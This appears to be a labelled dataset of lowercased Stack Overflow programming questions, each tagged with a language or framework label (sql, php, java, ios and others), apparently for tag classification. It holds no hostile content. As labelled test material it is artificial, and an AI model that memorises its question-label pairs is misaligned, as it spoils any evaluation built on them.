calculate the highest salary for each department  i have to create a report which displays the highest salaries in each department.  i must have the following columns  department_id  department_name  last_name and max(salary). and it cannot contain any duplicates.    i have managed to get a query result with all the columns however due to the last_name column i have a query result as the following.   <pre><code>90  executive  de haan  17000  90  executive  kochhar  17000  80  sales  tucker  10000  80  sales  bernstein  9500  80  sales  hall  9000 </code></pre>   obviously  the highest in the executive department is 17000  and 10000 in sales. i need to display only 1 salary amount for each department. any ideas on how i achieve this     below is what i typed into sql to get this result.   <pre><code>select  distinct department_id  department_name  last_name  max(salary)  from    employees  natural join departments  group by department_id  department_name  last_name  order by max(salary) desc; </code></pre>,sql
can i optimize an  if  statement with multiple  or  for same variable with different value in php   is there any way to minimize/optimize the following if statement:   <pre><code>if($user-&gt;type ==  admin  || $user-&gt;type ==  manager  || $user-&gt;type ==  operator ){   //do someting } </code></pre>   here  i am really tired of writing $user->type and || sign again and again. besides  in somecase this types of logic unnacessarly longer.,php
html input file control doesn t allow to upload file more than 5 mb  i have a htmlfile input control on my .aspx page but it doesn t allow to uploas file more than 5 mb.    thanx,asp.net
how to set two of the screens in portrait mode and another two screen in landscape on iphone   i have a <code>homeviewcontroller</code> (should always be in portrait mode)   which has four buttons to be redirected to a tar bar controller  which has four different viewcontroller (first  second  third  fourth).    we want to have <code>firstviewcontroller</code> and <code>fourthviewcontroller</code> in portrait mode always. and <code>secondviewcontroller</code> and <code>thirdviewcontroller</code> in landscape mode always  also when we will go back to <code>homeviewcontroller</code> form any of these viewcontrollers the <code>homeviewcontroller</code> should always be in portrait mode.,ios
java multithreading not closing threads  i have the following code in a command line application. once the loop completes  my app is still running. why is it not shutting down. from the logs  i can see that endindex has reached. but the app is still running    <pre><code>executor exec = executors.newfixedthreadpool(4); for (int i = startindex; i &lt;= endindex; i++) {         final string spurl = urlpart + i;          runnable requesthandler = new runnable() {             @override             public void run() {                 try {                     getimageforurl(spurl  0);                 } catch (ioexception ex) {                 } catch (exception ex) {                 }             }         };         exec.execute(requesthandler);     } </code></pre>,java
compare dates - overlooking the hour part  i frequently use the nsdate compare method - but i want to consider two dates similar if they are equal in year  month  day. i have made a procesure called  cleandate  to remove the hour part before i compare.   <pre><code>-(nsdate*)cleandate:(nsdate*)date {     nscalendarunit unitflags;     nsdatecomponents *component;       nscalendar *calendar;     calendar=[[[nscalendar alloc] initwithcalendaridentifier:nsgregoriancalendar]autorelease];     unitflags=nsyearcalendarunit | nsmonthcalendarunit | nsdaycalendarunit;     component=[calendar components:unitflags fromdate:date];     return [calendar datefromcomponents:component]; //dato uten klokke     } </code></pre>   but my dates come out as:    2011-10-28 22:00:00 and some dates as: 2011-10-28 23:00:00    i want the hour part to be similar  e.g. 00:00.    whats wrong  does it have something to do with daylight saving time  other  thanks.,iphone
how to get two results  i want to delete some data from one table  and the same data that i deleted i want to insert to another table.,sql
what is faster  drawing or compositing   i make extensive use of -drawrect: to do some nice animations. a timer tries to fire 30 times per second with -setneedsdisplay  but it feels like just 20 times. also i can t use -setneedsdisplayinrect: because the animation covers the entire thing.    would it help to take some of those drawing operations out of -drawrect: and move them to a subview  -drawrect has to do less then  but instead the os will have more work with compositing views.    is there a rule of thumb which one is more worse  i remember from an apple text that they claimed core animation doesn t redraw during animation. so is that their secret of speed  using subviews in animations,iphone
how would i practice .net at home (gratis)   how do you manage to use and practice the microsoft technologies without the ability or desire to pay for all of the software needed     are there free versions of visual studio  sql server  and plugins  are there any tutorials on how to set up asp.net development on a local server   is it practical to develop and test on my own machine     with regards to hosting  is it expensive to use microsoft-oriented technologies,.net
accessing img from within img.onload after wrapping and passing loop index  i ve been trying to figure this out for a while and i m lost  anybody    <pre><code>for(var i=0; i&lt;10; i++) {     var img = new image();     img.onload = (function(index)     {         //correct loop index hurrahh         console.log(i);          //now i need  this  as in the original img  but when wrapped it becomes window         console.log(this);      })(i);     img.src =  img.png ; } </code></pre>   thanks in advance.,javascript
same program same compiler but i got different output in c <pre><code>\\first program #include&lt;stdio.h&gt; int main() {  int array[30] n c d position swap;  clrscr();  printf( enter the legth of array\n );  scanf( %d  &amp;n);  printf( enter element in array\n );  for(c=0;c&lt;n;c++)  { scanf( %d  &amp;array[c]); }  for(c=0;c&lt;(n-1);c++)  {   position = c;   for(d=c+1;d&lt;n;d++)   {   if(array[position] &gt; array[d])   position = d;   }  if(position != c)   { swap = array[c];    array[c]= array[position];    array[position] = swap;   }  } printf( sorted list\n ); for(c=0;c&lt;n;c++); {printf( %d\n  array[c]);} getch(); }   \\second program #include&lt;stdio.h&gt; #include&lt;conio.h&gt; int main() {  int array[30] n c d position swap;  clrscr();  printf( enter the legth of array\n );  scanf( %d  &amp;n);  printf( enter element in array\n );  for(c=0;c&lt;n;c++)  { scanf( %d  &amp;array[c]); }  for(c=0;c&lt;(n-1);c++)  {   position = c;   for(d=c+1;d&lt;n;d++)   {    if(array[position] &gt; array[d])    position = d;   }   if(position != c)   { swap = array[c];     array[c]= array[position];     array[position] = swap;   }  }  printf( sorted list\n );  for(c=0;c&lt;n;c++);  {printf( %d\n  array[c]);}  getch();  return 0;  } </code></pre>   these two program is the program for selection sort. i think the first program and second program is almost the same but the output is not same. i use turbo c to run these two program    in the first program  i copy from internet and the result is true (intput is 2 1/output is 1 2). for second program  i try to do it by my own (intput is 2 1/output is 3) and the result is false.    everyone plz help me. i got confuse. thank you :],c
android studio: another error -_-  here is the code... i changed the .java file for the activity    <strong>fullscreenactivity.java</strong>    i m new to android studio. i will be so happy  if someone helps me learning android studio...<br> thanks to all :)   <pre><code>package com.killer.test;  import com.killer.test.util.systemuihider;  import android.annotation.targetapi; import android.app.activity; import android.os.build; import android.os.bundle; import android.os.handler; import android.view.motionevent; import android.view.view; import android.app.alertdialog;   /**  * an example full-screen activity that shows and hides the system ui (i.e.  * status bar and navigation/system bar) with user interaction.  *  * @see systemuihider */ public class fullscreenactivity extends activity { /**  * whether or not the system ui should be auto-hidden after  * {@link #auto_hide_delay_millis} milliseconds.  */  button btn = (button) findviewbyid(r.id.dummy_button);  btn.setonclicklistener(new view.onclicklistener() {     @override     public void onclick(view v) {         myfancymethod(v);     } });  public void myfancymethod(view v) {     alertdialog.builder dlgalert  = new alertdialog.builder(this);      dlgalert.setmessage( this is an alert with no consequence );     dlgalert.settitle( app title );     dlgalert.setpositivebutton( ok               new dialoginterface.onclicklistener() {                 public void onclick(dialoginterface dialog  int which) {                     //dismiss the dialog                 }             });     dlgalert.setcancelable(true);     dlgalert.create().show(); }  private static final boolean auto_hide = true;  /**  * if {@link #auto_hide} is set  the number of milliseconds to wait after  * user interaction before hiding the system ui.  */ private static final int auto_hide_delay_millis = 3000;  /**  * if set  will toggle the system ui visibility upon interaction. otherwise   * will show the system ui visibility upon interaction.  */ private static final boolean toggle_on_click = true;  /**  * the flags to pass to {@link systemuihider#getinstance}.  */ private static final int hider_flags = systemuihider.flag_hide_navigation;  /**  * the instance of the {@link systemuihider} for this activity.  */ private systemuihider msystemuihider;  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);      setcontentview(r.layout.activity_fullscreen);      final view controlsview = findviewbyid(r.id.fullscreen_content_controls);     final view contentview = findviewbyid(r.id.fullscreen_content);      // set up an instance of systemuihider to control the system ui for     // this activity.     msystemuihider = systemuihider.getinstance(this  contentview  hider_flags);     msystemuihider.setup();     msystemuihider             .setonvisibilitychangelistener(new systemuihider.onvisibilitychangelistener() {                 // cached values.                 int mcontrolsheight;                 int mshortanimtime;                  @override                 @targetapi(build.version_codes.honeycomb_mr2)                 public void onvisibilitychange(boolean visible) {                     if (build.version.sdk_int &gt;= build.version_codes.honeycomb_mr2) {                         // if the viewpropertyanimator api is available                         // (honeycomb mr2 and later)  use it to animate the                         // in-layout ui controls at the bottom of the                         // screen.                         if (mcontrolsheight == 0) {                             mcontrolsheight = controlsview.getheight();                         }                         if (mshortanimtime == 0) {                             mshortanimtime = getresources().getinteger(                                     android.r.integer.config_shortanimtime);                         }                         controlsview.animate()                                 .translationy(visible   0 : mcontrolsheight)                                 .setduration(mshortanimtime);                     } else {                         // if the viewpropertyanimator apis aren t                         // available  simply show or hide the in-layout ui                         // controls.                         controlsview.setvisibility(visible   view.visible : view.gone);                     }                      if (visible &amp;&amp; auto_hide) {                         // schedule a hide().                         delayedhide(auto_hide_delay_millis);                     }                 }             });      // set up the user interaction to manually show or hide the system ui.     contentview.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view view) {             if (toggle_on_click) {                 msystemuihider.toggle();             } else {                 msystemuihider.show();             }         }     });      // upon interacting with ui controls  delay any scheduled hide()     // operations to prevent the jarring behavior of controls going away     // while interacting with the ui.     findviewbyid(r.id.dummy_button).setontouchlistener(mdelayhidetouchlistener); }  @override protected void onpostcreate(bundle savedinstancestate) {     super.onpostcreate(savedinstancestate);      // trigger the initial hide() shortly after the activity has been     // created  to briefly hint to the user that ui controls     // are available.     delayedhide(100); }   /**  * touch listener to use for in-layout ui controls to delay hiding the  * system ui. this is to prevent the jarring behavior of controls going away  * while interacting with activity ui.  */ view.ontouchlistener mdelayhidetouchlistener = new view.ontouchlistener() {     @override     public boolean ontouch(view view  motionevent motionevent) {         if (auto_hide) {             delayedhide(auto_hide_delay_millis);         }         return false;     } };  handler mhidehandler = new handler(); runnable mhiderunnable = new runnable() {     @override     public void run() {         msystemuihider.hide();     } };  /**  * schedules a call to hide() in [delay] milliseconds  canceling any  * previously scheduled calls.  */ private void delayedhide(int delaymillis) {     mhidehandler.removecallbacks(mhiderunnable);     mhidehandler.postdelayed(mhiderunnable  delaymillis); } } </code></pre>,android
jquery initialize on click   i am using <a href= http://www.kelvinluck.com/assets/jquery/jscrollpane/jscrollpane.html  rel= nofollow >jscrollpane</a> for a <a href= http://www.koodoocreative.co.uk/~stagesca  rel= nofollow >clients </a> website. the problem i have  is the scrollbars initialise fine on the  welcome  tab. the  products  tab i would also like that tab to have the same scrollbar as the  welcome  tab.     i am using twitter bootstrap for the tabs and am not loading any jquery associated with them  it is purely default.    my <strong>html</strong> code is as follows :   <pre><code>&lt;div class= tab-content &gt;           &lt;div id= home  class= tab-pane active scroll_tab &gt;             &lt; php if ( have_posts() ) while ( have_posts() ) : the_post();  &gt;             &lt;h2&gt;               &lt; php the_title();  &gt;             &lt;/h2&gt;             &lt; php the_content();  &gt;             &lt; php endwhile;  &gt;           &lt;/div&gt;           &lt;div id= about  class= tab-pane &gt;             about content           &lt;/div&gt;           &lt;div id= services  class= tab-pane &gt;             &lt; php                  $page_id = 11;                  $page_data = get_page( $page_id );                  echo  &lt;h2&gt; . $page_data-&gt;post_title . &lt;/h2&gt; ;// echo the title                 echo apply_filters( the_content   $page_data-&gt;post_content); // echo the content and retain wordpress filters such as paragraph tags.               &gt;           &lt;/div&gt;           &lt;div id= case_studies  class= tab-pane &gt;             case studies content           &lt;/div&gt;           &lt;div id= contact_us  class= tab-pane &gt;             contact us content           &lt;/div&gt;         &lt;/div&gt; </code></pre>   i am then initialising the jscrollpane plugin on document.ready() within a function.    the jquery code is as follows :   <pre><code>   $(document).ready(function()    {      /* scrollbars */ $(function() {     $( .scroll_tab ).jscrollpane();     $( .tab-content &gt; .tab-pane  .pill-content &gt; .pill-pane ).jscrollpane(); }); }); </code></pre>   how do i force the jscrollpane(); to initialise on each tab      thanks in advance.,jquery
send html emails using a view as the content  in my base controller i have this code which checks if there is a view and then displays it. i want to modify this to use for sending an email. i basically want to create views which contain html content for sending the mails. but trying to access it normally as if i were displaying a view doesn t quite work. this is the code for displaying the views on the website.   <pre><code>public function view($view  $data = []) {     // check for view file     if(file_exists( ../app/views/  . $view .  .php )) {         require_once  ../app/views/  . $view .  .php ;     } else {         die( view does not exist );     } } </code></pre>   to display a view  i would just do this in my controller:   <pre><code>$this-&gt;view( pages/contact-us ); </code></pre>   when i am trying to send email  i want to just send the view into the email body.   <pre><code>$html = $this-&gt;view( pages/email ); //other variables go here  $send = new email(); $send-&gt;sendmail($html  $subject  $setfrom  $addreplyto  $addaddress  $altbody); </code></pre>   doing this fails. i think i need to just return the view but not sure how to do this.    if i try this:   <pre><code>$html = $this-&gt;view( pages/contact-email ); </code></pre>   i get this error:    <b>fatal error</b>:  uncaught exception: &lt;strong&gt;message body empty&lt;/strong&gt;&lt;br /&gt;    <strong>update:</strong>    i added this to the controller class:   <pre><code>public function getview($view  $data = []) { if(file_exists( ../app/views/  . $view .  .php )) {      return file_get_contents( ../app/views/  . $view .  .php ); } else {     die( view does not exist ); } </code></pre>   }    and then did this in the controller:   <pre><code>$html = $this-&gt;getview( pages/contact-email   $data); </code></pre>   the plain html content is displaying but not the php. if i try this in the view:    <pre><code>&lt; php echo $data[ name ];  &gt; </code></pre>   nothing shows up...,php
what s wrong with my sql query  <pre><code>insert into jos_race_calendrier_regional (id  evt_code  evt_date_comp  evt_station  evt_activite  evt_comite  evt_club_num  evt_club_nom  evt_nom  evt_dt  org_nom  org_adresse  org_adresse2  org_adresse3  org_ville  org_site  cont_nom  cont_tel  cont_gsm  cont_fax  cont_mail  epr_codex  epr_date  epr_sexe  epr_regroupement  epr_grille_categorie  epr_categorie  epr_discipline  epr_distance  epr_homologation ) values (  79    evt_code    evt_date_comp    evt_station    evt_activite    evt_comite    evt_club_num    evt_club_nom    evt_nom    evt_dt    org_nom    org_adresse1    org_adresse2    org_adresse3    org_ville    org_site    cont_nom    cont_tel    cont_gsm    cont_fax    cont_mail    epr_codex    epr_date    epr_sexe    epr_regroupement    epr_grille_categorie    epr_categorie    epr_discipline    epr_distance_style    epr_homologation ) </code></pre>   i am getting following  error     <blockquote>    #1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near   ) values (  79    evt_code    evt_date_comp    evt_station    evt_activite    e  at line 1   </blockquote>,mysql
null test versus try catch  does anyone have metrics on performing null test versus wrapping code in a try catch     i suspect that the null test is much more efficient  but i don t have any empirical data.    the environment is c#/.net 3.x and the code comparison is:   <pre><code>dude x = (dude)session[ xxxx ]; x = x== null   new dude(): x; </code></pre>   versus   <pre><code>dude x = null; try {     x = (dude)session[ xxxx ];     x.something(); } catch {     x = new dude(); } </code></pre>   are there any advantages to wrapping in try catch,c#
data flow in social application (ios)  i am building a social network and have bounced to an idea that i do something wrong.     basically i have sort of feeds on different screen to present to a user  like a fb or instagram with one difference - my main content is music. i mean audio tracks  that is supposed to be played by user.     basically what i do is: async fetching a json (with urls to audio files)- parsing - rendering feed via callback. thats all.  i have image chaching so one image would not be downloaded twice.    should i implement a chaching of audio data  i am afraid that would be an overkill because use case of my app is not so intense as instagram s or fb s.,ios
css style tag for div  i have a page with this structure:   <pre><code>&lt;div&gt;     &lt;div id= container &gt;         &lt;div id= content  &gt;             &lt;div class= question buttons clearfix nobg &gt;                 &lt;input id= k3  name= k  type= hidden  value=  &gt;                 &lt;input id= h3  name= h  type= hidden  value= b07e0bc1c3751d34acbef5b8546b29ae &gt;                 &lt;input id= s3  name= s  type= hidden  value= eyjwywdlcgf0aci6ifswxx0= &gt;                 &lt;input type= hidden  name= page  value= 0 &gt;                 &lt;input type= hidden  name= sid  value= 1f7d2a9b3b9450ce2dd746bf0005ebe1 &gt;                 &lt;input type= hidden  name= _terminated_redirect  value=  &gt;                 &lt;div id= button-fix  class= button-fix  style= text-align:center &gt;                     &lt;input type= hidden  name= referer  value=  &gt;                     &lt;input id= next-submit-button  type= submit  name= submitbutton  value= submit &gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   i want to align   to center using css. what will be style tag for it      please suggest,css
ambiguous function call error is thrown when i used overloaded functions differentiated by unsigned int and unsigned long  is this overloading valid  i have 2 functions as shown below   <pre><code>void getvalue(unsigned int){} void getvalue(unsigned long){} </code></pre>   if i make a call getvalue(4294967296) i get the following error  ambiguous function call . since both int and long have size of 4 bytes will this overloading work,c++
how to push some data from database to asp.net webform   i want to push some thing (like notification) to user s page  i tried a function that search database and then db had new notification  it showed the notification to us  but it was a bad way  someone know how i can do it better,asp.net
how to access struct put into an array as pointer  how to access a struct that is put into an array as pointer     how to access the <code>boote</code> array propertly  i tried also using <code>boot = *boote[i];</code>   <pre><code>typedef struct boot {    char name[30]; } boot;  boot *boote[3] = {null  null  null};  boot boot;  scanf( %s   boot.name);  boote[0] = &amp;boot;  for (int i = 0; i &lt; 3; i++) {       if (boote[i]-&gt;name != null) {          printf( %s   boote[i]-&gt;name ); // why is it empty       } } </code></pre>  <hr>   update:    it seems i put a reference to a local function <code>boot</code> into global <code>boote</code>.    so how can i store actual <code>boot</code> in <code>boote</code>  like boote[0] = boot; gives me an error,c
difference between hashset and treeset  i want to know below objects usage:   <pre><code>hashset hs = new hashset();  treeset ts = new treeset(); </code></pre>   which one is more efficient in real-time scenarios,java
query to return time difference between events  grouped by id  i have the following table in mysql that i am trying to query on   <pre><code>id    |  type  |                  dt | seqid -------------------------------------------- 1001  |  login | 2017-07-11 01:52:39 | 1 1001  | change | 2017-07-11 01:53:07 | 2 1001  | logout | 2017-07-11 01:53:21 | 3 1002  |  login | 2017-07-11 14:08:20 | 1 1002  | logout | 2017-07-11 14:08:28 | 2 -------------------------------------------- </code></pre>   i essentially need to display the time difference between each event(type) grouped on the basis of id. the output should be something on the lines of   <pre><code>1001 | login | 0   (0 calculated since login is the starting event) 1001 | change | 28 (difference between login and this event) --------------------- </code></pre>   and so on.    i have written the following query    <pre><code>select      curr.id       curr.type       timestampdiff(second curr.dt   prev.dt) as diff  from      sys.rep as curr  left join sys.rep as prev on prev.seqid = (     select min(seqid)      from sys.rep where  seqid &gt; curr.seqid and id = curr.id ); </code></pre>   the query works fine for one id but fails for multiple ids. any help is appreciated.,mysql
difference between two ways of using default constructor  what is the difference between defining an object of class  person  by using its default constructor following two different ways:    method 1:   <pre><code>person person = person(); </code></pre>   method 2:   <pre><code>person person(); </code></pre>   when i initialized some variables inside the default constructor and tried to access those variables or set those variables by get/set methods in the main routine  i got compilation error in method 2  but method 1 works.    thanks.,c++
error when trying to compile  files has invalid value mustmatchattribute   when copying a project over from another machine i got this error  a clean/rebuild didn t work.,.net
how do i properly gem unpack a gem in a rails application   i tried    <pre><code>rake gems:unpack rake gems:unpack:dependencies  </code></pre>   then i ran    <pre><code>rake gems:refresh_specs  </code></pre>   which gave me this error   <pre><code>undefined method `installed_source_index  for #&lt;gem::sourceindex:0x100549718&gt; </code></pre>   then i ran this   <pre><code>rake gems:install </code></pre>   then i ran script/console and tried to use the gem and error   <pre><code>itunessearchapi.lookup(:id =&gt; 3996865  :entity =&gt; :song) nameerror: uninitialized constant itunessearchapi </code></pre>   this is     <pre><code>rails_gem_version =  2.3.8  </code></pre>,ruby-on-rails
css div overflow hidden  newbie question here. in my css i have a div with overflow hidden in which i am displaying images. some images are tall (varying sizes) which poses a problem. wide images are ok when scaled down.    with the tall images my div is showing the image  head downwards  which is normal. however with my type of images the top is not so important (yacht mast and sails). is there a way i can display images in the div with the top cut off instead of the bottom       any ideas  thanks guys    jay,css
want to check if text is italic or not and if yes then highlight the text in textbox  i am using the following code to retrieve the content that i am <strong>copying from pdf</strong> and pasting in the textbox    <pre><code>&lt;textarea id= ta  onpaste= functionitalic(event) &gt;&lt;/textarea&gt; </code></pre>   the function getdata(text/html ) retrieves the data in the html/rich text format. i am storing the content in a variable.   <pre><code>function functionitalic(pasteevent) {     var textareacont = (pasteevent.originalevent || pasteevent).clipboarddata.getdata( text/html );     console.log(textareacont); } </code></pre>   on pasting the content of the pdf in textbox the text <strong>on the console</strong> is   <pre><code>&lt;html&gt; &lt;head&gt;&lt;meta http-equiv=content-type content= text/html; charset=utf-8 &gt;&lt;style&gt; &lt;!-- br { mso-data-placement:same-cell; } table { mso-displayed-decimal-separator: \. ; mso-displayed-thousand-separator: \   ; } tr { mso-height-source:auto; mso-ruby-visibility:none; } td { border:.5pt solid windowtext; } .normaltable{cellspacing:0;cellpadding:10;border-collapse:collapse;mso-table-layout-alt:fixed;border:none; mso-border-alt:solid windowtext .75pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-border-insideh:.75pt solid windowtext;mso-border-insidev:.75pt solid windowtext} .fontstyle0 {     font-family:times-italic;     font-size:10pt;     font-style:italic;     font-weight:normal;     color:rgb(0 0 0); } --&gt; &lt;/style&gt;&lt;/head&gt;&lt;body&gt; &lt;!--startfragment--&gt; &lt;span class= fontstyle0 &gt;h&lt;/span&gt;  &lt;br style=  font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;  &gt; &lt;!--endfragment--&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   this style class is commmon for all <strong>italic</strong> texts   <pre><code>.fontstyle0 {     font-family:times-italic;     font-size:10pt;     font-style:italic;     font-weight:normal;     color:rgb(0 0 0); } </code></pre>   now i want to get all the words pasted in textbox that are italic and <strong>highlight the italic words</strong> in the <strong>textbox</strong>.    how can i do that using javascript. note: textarea stores the content in string format so variable <strong>textareacont</strong> is in <strong>string</strong> please help i am stuck and i know only beginner level js.,javascript
how to make angularjs treat response as plain text instead of json   how to make angularjs treat response as plain text instead of json     i am requesting a json file which i want to interpret as plain text. in the success callback i am getting a json. how i get text back without transforming the json to text (using stringify),angularjs
why does `intval(19.9 * 100)` equal `1989`   boy  this one is <i>really</i> weird. i expect the following code to print 1990  but it prints 1989!   <pre><code>$val =  $19.9 ;  $val = preg_replace( /[^\d.]/     $val); $val = intval($val * 100);  echo $val; </code></pre>   why on earth is this happening     edit: and this code:   <pre><code>$val =  $19.9 ; $val = preg_replace( /[^\d.]/     $val); echo $val .  &lt;br&gt; ; $val = $val * 100; echo $val .  &lt;br&gt; ; $val = intval($val); echo $val; </code></pre>   prints:   <pre><code>19.9 1990 1989 </code></pre>   why does <code>intval(1990)</code> equal <code>1989</code>,php
question on android development  i want to create a web service using ksoap-2 can anyone give me and idea about that. thanks in advance.,android
java s float.intbitstofloat in objective-c  i ve a float value represented in bits  stored in a 32-bit integer value. in java   i can get float value by float.intbitstofloat    what s equivalent method in objective-c     i try to get the float by calling [[nsnumber numberwithint:value] floatvalue]  its wrong,objective-c
is it possible to set an element to display only when the <img> element is removed   for printing purposes  i removed the img element  but i wanted an h1 element to be displayed on another portion of the site when the img element is removed.    is this possible,html
can t find symbol in my method instance   this a very quick and i feel obvious mistake but i keep getting the cannot find symbol   <pre><code>symbol : method print(int int) </code></pre>   this would lead me to believe that i m not giving the method the right data type parameters  however..   <pre><code>public class test {     public static void main(string[] args)     {         testsrv srvobj = new testsrv();          srvobj.print(0  0);         srvobj.print(1  1);         srvobj.print(2  10);     } } </code></pre>   and this method  what it s meant to do aside  i keep getting errors from the above code for all 3 calls to the print method  i am passing it integers on all 3 occasions    <pre><code> public class testsrv     {         public void print(int num  int count)             {                 for (int i = 0; i &lt;= count; ++i)                 {                     system.out.print(num +  .   +  * );                 }             }            } </code></pre>,java
smart phone ! iphone | reading the device phone number http etc  does anyone know if one of these devices connect to the web whether their phone number can be read from a header or some other means,iphone
retain count in copy property  please read the following code::   <pre><code>addresscard *card1 = [[addresscard alloc] init];  addresscard *card2 = [[addresscard alloc] init];  [card1 setname:[nsmutablestring stringwithstring:@ deepak ] andemail:[nsmutablestring stringwithstring:@ deepak@paymate ]];  nsmutablestring * temp = [nsmutablestring stringwithstring:@ deepak ]; r1 = [temp retaincount]; r2 = [card1.name retaincount];  //[card2 setname:card1.name];//retain count 2 //or// [card2 setname:temp];// retain count 1  r1 = [card2.name retaincount]; </code></pre>   this is some think confusing because in both cases input type is string.    thanks in advance. d,objective-c
python. how to take custom type objects from *args  i have the following method:   <pre><code>def _logineventhandler(cmdid  *args):     if cmdid == login.login_loged:         user = args[0]         print( user  user.usertypeid  logged in ) </code></pre>   that method is called like this from a different module:   <pre><code>user = user(nuserselected)     _logineventhandler(login.login_loged user) </code></pre>   the interpreter throws an attributeerror:   <blockquote>    file  /main.py   line 79  in _logineventhandler       print( user  user.usertypeid  logged in )   attributeerror:  tuple  object has no attribute  usertypeid   </blockquote>   the question is what is the proper way of taking arguments from *args (specially if they are custom types like with  user ) and why is it taking a tuple from args[0],python
python: import cx_oracle importerror: no module named cx_oracle error is thown  i try to write a script in .py for oracle connectivity:   <pre><code>#!/usr/bin/python  import cx_oracle  connstr= username/pwd@database  conn = cx_oracle.connect(connstr) curs = conn.cursor()  curs.execute( select * from table1; ) print curs.description for row in curs:    print row conn.close() </code></pre>   i get the following error:   <pre><code>traceback (most recent call last):   file  test_sqlpython.py   line 3  in       import cx_oracle importerror: no module named cx_oracle </code></pre>   any help would be appreciated  thanks.,python
php - nonrecursive deletion of all files and folders in a specified folder  i was using this php code to delete all files in a specified folder:   <pre><code>array_map( unlink   glob($path)); </code></pre>   now the structure has changed - folders were added (containing files and other folders) and this code doesn t work on them. is there a nonrecursive solution to delete everything from a specified folder (but not the folder itself),php
main differences between objects and object pointers   what s the difference between doing    <pre><code>eventlist temp;  eventlist* temp = new eventlist(); </code></pre>   where now temp you access it s vars by doing using <code>.</code> and the other is <code>-&gt;</code>    besides that difference  what else  pointer allocates on the heap while just <code>eventlist</code> is on the stack. so is it primarily a scope thing,c++
symlinks on windows  i m trying to check is the path <strong>symlink hardlink</strong> or junction point on windows how can i do it  <code>os.path.islink()</code> not work. it always returns <code>false</code> i create symlinks by next method:   <pre><code>mklink /d linkpath targetdir mklink /h linkpath targetdir     mklink /j linkpath targetdir </code></pre>   i ve used command line because os.link and os.symlink available only on unix systems    maybe there are any command line tools for it  thanks,python
no such file or directory  killed in fstream c++  i am new to c++.    i was trying to read a file using <code>fstream</code>.    here is the code      i put the file inside the a.out directory but still cannot read it  where is my mistake    <pre><code>#include&lt;iostream&gt; #include&lt;fstream&gt;  int main() {    std::ifstream myfile( my.txt );    int a  b;    while(myfile&gt;&gt;a&gt;&gt;b)    std::cout&lt;&lt;a&lt;&lt;b;     return 0; } </code></pre>,c++
multiplication symbol in mysql table  i m importing several csv files into my mysql table to populate it. a couple of the files have multiplication symbols in their rows  like: 4×14mm. the import keeps failing when it encounters these symbols  so as a temporary solution i have just replaced them with the letter x  like: 4x14mm. this solution is passable  but i d really like a proper multiplication symbol if possible. is this possible,mysql
annual salary between 2000 and 6000 to display  i have a query    <pre><code>select employeeid  sum( salary *12 ) as annual_salary from employee group by salary limit 0   30 </code></pre>   it displays annual salary but i want to <strong>display annual salary between 2000 and 6000 within</strong> so  thanks to advance,mysql
getting error on fopen in php  i m writing a simple text editor for a template  and i ve gotten the opening  displaying  and editing part handled. every time i try to save it though  it keeps giving me an error on the fopen() function.    i m getting the files with this:   <pre><code>$dir =  ./uploads/post-templates ; $files = scandir($dir); while($files[0] ==  .  || $files[0] ==  .. ) {     array_shift($files); } </code></pre>   then a simple loop handles displaying filenames in a select menu:   <pre><code>&lt; php foreach($files as $f) {   echo  &lt;option name= file  value=  . $f .   class= file &gt;  . $f .  &lt;/option&gt; ;};  &gt; </code></pre>   lastly it is all appended into the textarea using a short jquery function. alas  when it comes to executing the script to save the file  i get an error every single time. i ve tried using relatives  absolutes  and http for the directory  and the filename and path are echoing properly each time.   <pre><code>///different file!!!! $f = $_post[ file ]; $c = $_post[ content ]; $dir =  ./uploads/post-templates/ ; $file = $dir . $f; echo $file; $fo = fopen($file   w ) or die( opening error ); fwrite($fo  $c) or die( writing error ); fclose($f); </code></pre>,php
define  visited  variable for a node in a graph  i have written the code for graph that you can see on following link.    <a href= https://stackoverflow.com/questions/24426684/calculating-outdegree-of-a-node-in-graph >calculating outdegree of a node in graph</a>    now  i need to write bfs and dfs for the same. for that i need to have a variable  visited  to define whether the node is visited or not. i realised that i will have to include this variable in the    <pre><code>class graph{  vector&lt;pair&lt;pair&lt;**bool** t&gt;  list&lt;t2&gt; &gt; &gt; node;  } </code></pre>   here bool is the condition whether the node is visited or not. for this i had to do the changes in the entire code. is there any other way  where i can include the variable without doing much modification in the code      ok  i got it. its quite simple. sorry to ask such a question. i can define another    <pre><code>vector&lt;bool&gt; visited  </code></pre>   in the bfs function. i will update the code after writing the function. once again sorry.,c++
how to get the id of the column on gridview radiobutton click  i have one radio button in gridview itemplate field. but when i am selecting the radiobutton i am unable to get the id of that row. so that based on that id textbox value will be autopopulated.   <pre><code>enter code here       &lt;asp:gridview id= gvitem  skinid= gridview  runat= server  onrowdatabound= gvitem_rowdatabound &gt;                                         &lt;columns&gt;                                             &lt;asp:templatefield headertext=   visible= false &gt;                                                 &lt;itemtemplate&gt;                                                     &lt;%#container.dataitemindex %&gt;                                                 &lt;/itemtemplate&gt;                                             &lt;/asp:templatefield&gt;                                             &lt;asp:templatefield&gt;                                                 &lt;itemtemplate&gt;                                                     &lt;asp:radiobutton id= rbtnquantity  runat= server  autopostback= true  oncheckedchanged= rbtnquantity_checkedchanged  /&gt;                                                 &lt;/itemtemplate&gt;                                                 &lt;itemstyle horizontalalign= center  width= 20px  /&gt;                                             &lt;/asp:templatefield&gt;                                             &lt;%--1--%&gt;                                             &lt;asp:templatefield headertext= id  sortexpression= id &gt;                                                 &lt;itemtemplate&gt;                                                     &lt;asp:label id= lblid  runat= server  text=  &lt;%# eval( id )%&gt; &gt;&lt;/asp:label&gt;                                                 &lt;/itemtemplate&gt;                                                 &lt;itemstyle width= 90px  /&gt;                                             &lt;/asp:templatefield&gt;                                             &lt;%--2--%&gt;                                             &lt;asp:templatefield headertext= name  sortexpression= name &gt;                                                 &lt;itemtemplate&gt;                                                     &lt;asp:label id= lblitemname  runat= server  text= &lt;%# eval( name )%&gt; &gt;&lt;/asp:label&gt;                                                 &lt;/itemtemplate&gt;                                                 